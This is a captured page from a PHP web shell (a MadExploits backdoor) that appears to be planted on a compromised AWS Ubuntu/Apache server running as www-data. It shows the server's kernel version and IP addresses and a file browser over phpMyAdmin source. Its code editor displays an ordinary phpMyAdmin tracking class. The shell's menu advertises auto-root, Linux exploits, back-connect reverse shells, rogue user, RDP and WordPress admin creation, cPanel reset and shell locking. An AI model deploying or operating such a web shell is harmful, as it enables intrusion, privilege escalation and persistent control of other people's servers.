Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 3.144.80.91
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
src /
Tracking /
[ HOME SHELL ]
Name
Size
Permission
Action
LogTypeEnum.php
1.29
KB
-rw-r--r--
TrackedData.php
584
B
-rw-r--r--
TrackedTable.php
240
B
-rw-r--r--
Tracker.php
24
KB
-rw-r--r--
Tracking.php
38.34
KB
-rw-r--r--
TrackingChecker.php
2.42
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TrackingChecker.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tracking; use PhpMyAdmin\ConfigStorage\Features\TrackingFeature; use PhpMyAdmin\ConfigStorage\Relation; use PhpMyAdmin\DatabaseInterface; use PhpMyAdmin\Dbal\ConnectionType; use PhpMyAdmin\Identifiers\TableName; use PhpMyAdmin\Util; use function array_column; use function array_diff; use function array_values; use function sprintf; class TrackingChecker { private TrackingFeature|null $trackingFeature; public function __construct( private DatabaseInterface $dbi, Relation $relation, ) { $this->trackingFeature = $relation->getRelationParameters()->trackingFeature; } /** * Get a list of untracked tables. * Deactivated tracked tables are not included in the list. * * @return array<int, string|TableName> */ public function getUntrackedTableNames(string $dbName): array { $tableList = $this->dbi->getTables($dbName); if ($this->trackingFeature === null) { return $tableList; } $trackedTables = array_column($this->getTrackedTables($dbName), 'name'); return array_values(array_diff($tableList, $trackedTables)); } /** @return TrackedTable[] */ public function getTrackedTables(string $dbName): array { if (! Tracker::isEnabled()) { return []; } if ($this->trackingFeature === null) { return []; } $sqlQuery = sprintf( "SELECT table_name, tracking_active FROM ( SELECT table_name, MAX(version) version FROM %s.%s WHERE db_name = %s AND table_name <> '' GROUP BY table_name ) filtered_tables JOIN %s.%s USING(table_name, version)", Util::backquote($this->trackingFeature->database), Util::backquote($this->trackingFeature->tracking), $this->dbi->quoteString($dbName, ConnectionType::ControlUser), Util::backquote($this->trackingFeature->database), Util::backquote($this->trackingFeature->tracking), ); $trackedTables = []; foreach ($this->dbi->queryAsControlUser($sqlQuery) as $row) { $trackedTable = new TrackedTable(TableName::from($row['table_name']), (bool) $row['tracking_active']); $trackedTables[$trackedTable->name->getName()] = $trackedTable; } return $trackedTables; } }
Close